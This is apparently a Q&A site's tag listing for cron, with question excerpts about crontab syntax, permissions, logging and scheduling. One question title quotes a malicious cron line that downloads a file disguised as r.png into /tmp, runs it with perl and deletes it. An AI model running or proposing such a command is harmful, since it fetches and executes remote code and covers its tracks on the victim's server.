Cron is a job scheduler that allows users to run commands periodically.

learn more… | top users | synonyms (1)

1
vote
1answer
115 views

How can I create cron jobs in specific files?

I want to have a separate folders for cron jobs like: /mydata/cronjobs Now in that folder I want to have files like backup_server which will have the content like: 30 3 * * 1-5 ...
4
votes
1answer
884 views

How is cron scheduling actually implemented and makes sure scripts run on time?

I want to ask about cron jobs. OK, we place the scripts in the crontab and the cron daemon executes them. Now if I understand this, each minute, cron checks the crontab of each user and executes the ...
2
votes
2answers
6k views

What are the permissions of a cron job?

When a cron job runs with what privilege does it execute? I'm not sure about that. Is it with the same privileges of the user that added it via crontab -e?
1
vote
1answer
225 views

Deadlock in a crontab between cron and its child defunct processes

I'm having a strange case of deadlock, where the two processes launched by cron are defunct, but cron does not pick the return code and exit. I don't have access to the root user. myuser@myserver:~) ...
2
votes
4answers
2k views

Crontab not working

I'm trying execute a basic shutdown crontab to run M-F at 10PM. So I did the following: sudo crontab -e Once inside of the crontab I added the following line: 0 22 * * 1-5 shutdown now The job ...
3
votes
2answers
536 views

Cron jobs and mail notification

I have (from one tutorial) cron job which make weekly backup on my website and is working fine. #!/bin/bash NOW=$(date +"%Y-%m-%d-%H%M") FILE="mysite.com.$NOW.tar" BACKUP_DIR="/home/user/backups/" ...
3
votes
4answers
3k views

How to display a (zenity/GUI) dialog to the user after a root cron task has completed

I have a simple periodic cron task that must run as root. I want to use Zenity (or similar) to display a GUI informational dialog to user 1000 (or logged in user or all users) when the cron task ...
3
votes
2answers
152 views

Cron job for every minute executing out of order?

I'm setting up some shell scripting to be executed every five minutes, then every minute on our client's system, to poll a log and pull some timing information to be stored and accessed by another ...
1
vote
1answer
86 views

Cron job doesn't seem to be executing in ubuntu

I have a script located /myscript/script.sh and I have a cronjob that I submitted like this: sudo crontab -e The contents of the crontab are as follows: */1 * * * * ./myscript/script.sh The ...
1
vote
1answer
319 views

Why do I get different outputs when running my shellscript manually from when I run it with cron? [duplicate]

I have a fairly simple shell script (foo.sh) that looks like this: #!/bin/bash echo -n "$USER,$(date)," `binary -flags | sed -e '1,30d'`; exit 0; This script is supposed to prepare some output ...
2
votes
1answer
86 views

Running services without sudo

I want to run a nodeJS web server on a couple of machines which I don't have sudo access on. What would be a good way to do this? The two requirements are: running the service without being ...
3
votes
1answer
218 views

Cron job results are different from executing from own shell

I am using Ubuntu 12.0.4 I have a script basically with the following codes: lockfile=/var/tmp/mylock if ( set -o noclobber; echo "$$" > "$lockfile") 2> /dev/null; then exit_normally ...
0
votes
2answers
2k views

How can I check if my cronjob is runnning on my server via PHP?

I would like to give out a warning If cron is not running or if a certain cronjob is not set in crontab on my server. Is this possible to check with php?
0
votes
2answers
208 views

Linux 'mail' command: Can't open display

I've just installed the 'mail' command in Ubuntu (mailutils package) in order to view feedback from cron jobs. I type 'mail' at the prompt and see something like this: "/var/mail/*$USER*": 1 message ...
2
votes
1answer
203 views

Rsync over Rsync via cronjob

I have a local server which Rsync's from some computers on the LAN. It's a part of a backup solution. This Rsync runs via cronjob twice a day. Occationally people add gigantic amounts of data, like a ...
3
votes
1answer
392 views

ls gives me different sort orders during a cron job

I have a cron job that, among other things, does a recursive ls of a directory into a file. This gets compared to another file that I've created that, supposedly, contains an identical listing of the ...
4
votes
1answer
1k views

start-stop-daemon makes cron pidfile with wrong pid

I have an init.d script to start crond which specifies the following for start(): start-stop-daemon -S --quiet --make-pidfile --pidfile /var/run/crond.pid --background --exec /usr/sbin/crond ...
1
vote
2answers
1k views

Running `screen` through a @reboot cron job

I want to have a script running in screen at startup. This doesn't work: @reboot pi screen -d -m /home/pi/db_update.py however running this manually as user pi works: screen -d -m ...
1
vote
2answers
53 views

When will this cron run

Cron: * */6 * * * /path/to/command I want this cron to run once in every 6 hour. Whats wrong with the above cron definition, and why?
3
votes
2answers
537 views

Automatic Update Script using Cron, Exit Codes, and Logging

I'm managing multiple machines running Debian, Raspian, and Mint. On some of the machines I want to have updating and upgrading automatically. I've drafted a script that I want to do this and log if ...
1
vote
1answer
136 views

How to prevent the termination of Anacron jobs after battery mode commences?

I have a backup script which is run daily by Anacron. It can take around 3 hours to complete. I'm happy for Anacron not to commence the script if the laptop is running on batteries, but once started, ...
0
votes
2answers
102 views

Split logs from cron jobs

I currently have a log file which has no limit and I was hoping to be able to set up a cron job that would start writing to a new file so it doesn't get too big. Would that be possible? So it would ...
3
votes
3answers
403 views

Automating tasks on a website on a headless server

I want to automate a task which can only be done on a website (with prior login) on my debian server. There is no public API available, so I can't use one. Is there a way to do so? I thought about a ...
3
votes
1answer
307 views

Running time command with cron

So I have a crontab that have this line: 30 16 * * * (time sysbench --test=cpu --cpu-max-prime=20000 run) 2>> ~/cpu.out I use this because time output goes by default to stderr and I want to ...
4
votes
3answers
18k views

How to start a cron job without reboot?

I use a cron job to call offlineimap every 2 minutes: */2 * * * * /usr/bin/offlineimap > ~/Maildir/offlineimap.log 2>&1 I needed to kill the cron job to fix a problem. How can I then ...
0
votes
1answer
336 views

how to automatically cleanup failed PHP uploads in /tmp?

How can I automatically cleanup failed uploads? PHP is storing them in /tmp and all file names look like phpAbCDeF (basically php followed by 6 characters). I know that I can use the command: find ...
2
votes
1answer
349 views

bash script - supervisor program

I have to write a shell-script that have to do the following tasks: -in every 5 seconds it saves:     -how many users are using joe and/or vi;     -if ...
2
votes
2answers
645 views

cron from multiple files

How do I make cron daemon check cron entries from more than one files. In my project I need to frequently update cron file, so instead of manipulating the existing file I was planning to write my ...
2
votes
3answers
1k views

set up local mail delivery to user from cron script

A line in my cron.daily script not work as expected. I haven't any special smtp mail server in system, this line rsync -avun --inplace /oneuser/file.xls /otheruser/file.xls| mail -s "$0 $?" ...
1
vote
1answer
149 views

Why does rsync look for DSA instead of RSA key when run from cron job?

I want to backup files from a server to my local computer using rsync. I can only log-in to the server with an RSA ssh key. I have stored the passphrase to the key in Seahorse Passwords and Keys, ...
2
votes
1answer
555 views

Script to check a folder, print the files then delete those files

I am looking for some guidance on creating a script that will check a specific folder, print all documents (if any) and then delete those documents. I would also like to run this script as a cron job. ...
0
votes
2answers
1k views

Cron job not running / not successful?

I have a couple of cron jobs set up to maintain a local copy of a remote database. The first one downloads the latest version of the database from the remote machine, which runs every day and is ...
2
votes
2answers
321 views

Strange crontab-script interaction (bash)

I'm running Ubuntu 12.04 and bash. I've written a pair of shell scripts that allow me to set an alarm which, after ringing, unsets itself. The first, alarmset, allows me to enter a time and modifies ...
2
votes
0answers
141 views

Use dedicated per-user log file for cron and?

On Ubuntu 12.04 how can I configure cron to log to a particular file when it runs jobs as a particular user? I am interested in redirecting both the messages that go into auth.log and those going into ...
0
votes
2answers
2k views

Ubuntu crontab php not working

Yes, I have read many, many documentations but I can't get it to work. I have a simple single php file which I want to run once or twice in a minute. My php file is called: cronjob_refresh.php and I'm ...
-1
votes
1answer
221 views

Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]

I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
2
votes
3answers
731 views

How can I schedule a python program to run from another python program?

I'm running a Python program on my Linux server, and depending on some external data it has to run again at xx minutes or hours from now. So let's say it runs at 6 AM, and then it has to run again at ...
1
vote
2answers
435 views

No syntax highlighting when editing crontab

I am trying to figure out why I don't have syntax highlighting when editing my crontab. I have both $EDITOR and $VISUAL set to /usr/bin/vim: > echo $EDITOR /usr/bin/vim > echo $VISUAL ...
1
vote
2answers
458 views

Is it possible to have a cron job run more frequently than once every minute?

CentOS 6 I have a shell script that performs a task every minute. The task itself only takes a couple seconds to complete and ideally I'd like to have this shell script execute 2-3 times per ...
1
vote
2answers
2k views

Xdotool using “DISPLAY=:0” not works in Crontab

I need to run shell script contains Xdotool codes in /home/z/Desktop/tempo/run.sh. I've tried many ways of DISPLAY=:0 but always not works. I've tried each of below codes, and not works: * * * * * ...
9
votes
2answers
6k views

cron ignores variables defined in “.bashrc” and “.bash_profile”

I have defined "SHELL" variable in /etc/crontab file: [martin@martin ~]$ grep SHELL /etc/crontab SHELL=/usr/local/bin/bash [martin@martin ~]$ file /usr/local/bin/bash /usr/local/bin/bash: ELF 32-bit ...
0
votes
1answer
246 views

top not working

My below cronjob is not working. What am I doing wrong here?? */5 * * * * /usr/bin/top -n1 | head -10 >>/tmp/load.txt
0
votes
2answers
156 views

Running something in a cron environment?

Cron executes whatever program is sent to it in such a fashion that anything written to STDERR causes either the kernel (or cron I'm unsure) to receive SIGPIPE. How does this functionality work? Is ...
2
votes
3answers
900 views

Crontab entry with hour range going over midnight

Is this valid crontab time specification, doing what is expected: 0 22-4 * * * Or is it necessary to do something like 0 22,23,0,1,2,3,4 * * *
2
votes
1answer
3k views

Users home path in a bash script

I'm writing a bash-script that will be run as a cron job everyday. Very basic, I was wanting to change the wallpaper daily. I have mint-14 with mate. The thing I'm getting caught up on right now ...
3
votes
4answers
540 views

How to stop monthly cron output email

Server is Debian 6.0. In /etc/aliases I have; root: me@mydomain.com This is so that root emails get sent directly to me. Today, a monthly script I have placed into /etc/cron.monthly has emailed me ...
2
votes
1answer
142 views

Location of crontab job created by non-privileged user

The issue I currently have is someone has created a crontab process to run on a RHEL 5 box, yet has not left me any privileged user information. How can I execute this cron job that was setup to run ...
4
votes
1answer
209 views

Where is the cron timer

Is there any way to access the cron timers and get the seconds left until the next execution of scripts in the crontab or maybe the seconds since the last?
0
votes
1answer
229 views

ipset not executing from crontab

I have this txt files that contains IPs, one per line of file, that I want to block using ipset. I have this bash script that essentially reads from the plain txt file and constructs an array. Then ...
1
vote
3answers
2k views

Why can't cron job find basic Linux commands?

I'm trying to set up a cron job to run a PHP script daily as part of a web-based booking system. It's been running perfectly for several years on a different Apache server using this in the crontab: ...